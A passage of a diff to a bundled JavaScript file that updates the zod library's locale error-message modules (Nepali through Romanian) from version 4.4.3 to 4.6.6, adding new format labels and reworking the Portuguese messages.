\u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62834,12 +64673,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -62909,17 +64752,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62943,14 +64901,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -63018,17 +64980,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63054,12 +65017,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -63128,17 +65095,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63164,12 +65132,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -63243,17 +65215,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63279,12 +65252,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -63353,121 +65330,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -63506,6 +65663,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod 